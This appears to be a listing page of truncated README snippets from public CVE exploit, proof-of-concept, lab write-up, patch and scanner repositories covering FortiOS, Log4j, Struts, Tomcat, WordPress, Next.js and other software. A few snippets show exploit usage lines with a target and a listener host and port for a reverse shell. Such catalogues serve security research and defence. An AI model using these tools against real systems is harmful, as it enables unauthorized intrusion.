CVE-2023-25610

CVE-2023-25610 Heap memory underflow in the FortiOS management interface leads to remote code execution. Scope and Limitations 1. Fortinet 6.x 2. Based on TLSv1.3; may vary across other TLS versions Usage python3 cve-2022-42475.py rhost rport lhost 'command' python3 CVE-2023-25610.py 192.168.10.1...

Log4jPatch

-- This repository has been archived -- Further development of this tool will continue at corretto/hotpatch-for-apache-log4j2. Thanks for sharing, commenting, trying it out and contributing to this project! Log4jPatch This is a POC of a simple tool which injects a Java agent into a running JVM...

THM-Steel_Mountain-CVE-2014-6287

THM-SteelMountain-CVE-2014-6287 A write up on the Steel Mountain box from TryHackMe.com and exploit for CVE-2014-6287 Credits I take no credit for the original discovery and exploitation of this vulnerability. Thank you to the following people! Discovery: Daniele Linguaglossa Metasploit Module...

CVE-2026-33017

🚨 CVE-2026-33017 - Critical Unauthenticated Remote Code Execution in Langflow Langflow versions ≤ 1.8.2 contain a severe security vulnerability that allows unauthenticated attackers to achieve Remote Code Execution RCE on the server. 📊 Vulnerability Details Attribute| Details ---|--- CVE ID|...

CVE-2020-17530

CVE-2020-17530 Quick POC for CVE-2020-17530. In Apache Struts versions 2.0.0 - 2.5.25 a forced Object Graph Navigational Language OGNL evaluation on raw user input in tag attributes may lead to remote code execution RCE. $ python CVE-2020-17530.py --help usage: CVE-2020-17530.py -h -c COMMAND -n...

cve-2025-24813-poc

CVE-2025-24813 Apache Tomcat RCE Exploit PoC This repository contains a proof-of-concept exploit for CVE-2025-24813, a Java deserialization vulnerability in Apache Tomcat. Based on absholi7ly/POC-CVE-2025-24813/. Prerequisites Docker Setup 1. Install dependencies: uv venv source .venv/bin/activat...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.0 5.5.4 - 'widgetphp ' Unauthenticated Remote Code Execution Interactive-Like Command-Line Console for CVE-2019-16759 Usage: python3 exploit.py Enter the Site with Http/Https and Get the Shell :p...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Yo, in this LetsDefend lab I dove into a SharePoint zero-day called ToolShell CVE-2025-53770. Basically, I mimicked a real-world attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection keys,...

l4j-info

l4j-info Compiling valuable links as I find them documenting CVE-2021-44228 or Log4J Critical First Party advisories: Existing Log4J 1.2 vulnerability CVE-2019-17571 is also potentially present Apache Log4J Version 2.x Security Information VMWare critical vulnerability advisory Cisco product...

CVE-2016-10033

PoC for CVE-2016-10033 RCE against WordPress 4.6 usage: ./CVE-2016-10033.py example: ./CVE-2016-10033.py http://site.com/ 1.2.3.4:4444 admin Python port +alterations of https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html Required: Requests pip install requests I...

CVE-2017-0199-Fix

CVE-2017-0199 Fix Remove CVE-2017-0199's ability to execute code by changing the default handler for .hta files. The default handler for files invoked through OLE2 COM Objects is stored separately from the local system's default application and can only be changed through the registry. Basic Logi...

CVE-2025-54424

CVE-2025-54424 CVE-2025-54424: 1Panel Client Certificate Bypass RCE Vulnerability Integrated Tool Scan + Exploit Vulnerability Overview 1Panel is an open-source, modern Linux operations and maintenance management panel that provides a graphical interface for deploying websites, managing servers,...

CVE-2024-3094

Security Review & Threat Model: CVE-2024-3094 xz-utils / OpenSSH This repository contains the results of analyzing the critical vulnerability CVE-2024-3094 backdoor in the liblzma library of the xz-utils package, leading to RCE via the OpenSSH process. As part of the project, an isolated test...

CVE-2025-58434_CVE-2025-59528

CVE-2025-58434CVE-2025-59528 PoC Script CVE-2025-58434 Flowise -lp...

CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

CVE-2020-29607 — Pluck CMS Authenticated remote code execution in Pluck CMS before 4.7.13. The admin file manager admin.php?action=files does not validate file extensions, allowing upload of .phar files which Apache executes as PHP. Uploading a webshell through this endpoint results in RCE as the...

CVE-2025-69600

CVE-2025-69600 author: Rafael José Núñez Gulías company: Iberian Var Group Affected products: RayVentory Scan Engine 12.6 Update 8 and previous versions Raynet advisory: RSEC200966 Command injection in Raynet's rvia allows adversaries to execute commands via getconfig, upload, inventory, and orac...

CVE-2024-44849

CVE-2024-44849 Author: Extencil [email protected] CVE-2024-44849 is a critical RCE vulnerability that impacts all previous versions up to Qualitor 8.24. Qualitor Website Using this program to attack or compromise any company or system without mutual consent is illegal. The author of this cod...

Analysis-And-POC-N8N-CVE-2025-68613

Overview n8n and CVE-2025-68613 n8n is a workflow automation platform used to integrate systems and services through visual flows and JavaScript expressions. CVE-2025-68613 is a critical Remote Code Execution RCE vulnerability, with CVSS 9.9 , affecting multiple versions of n8n. The flaw occurs i...

react2shell-scanner

react2shell-scanner A high-fidelity command-line vulnerability scanner for detecting CVE-2025-55182 and CVE-2025-66478 Remote Code Execution in Next.js applications using React Server Components RSC. 🚨 Vulnerability Overview These critical vulnerabilities affect Next.js applications using React...

CVE-2025-55182

CVE-2025-55182: React2Shell - Next.js Remote Code Execution Toolkit !WARNING This tool is provided for authorized testing and educational purposes only. Unauthorized network access and data exfiltration are illegal. Users are responsible for ensuring they have proper authorization before using th...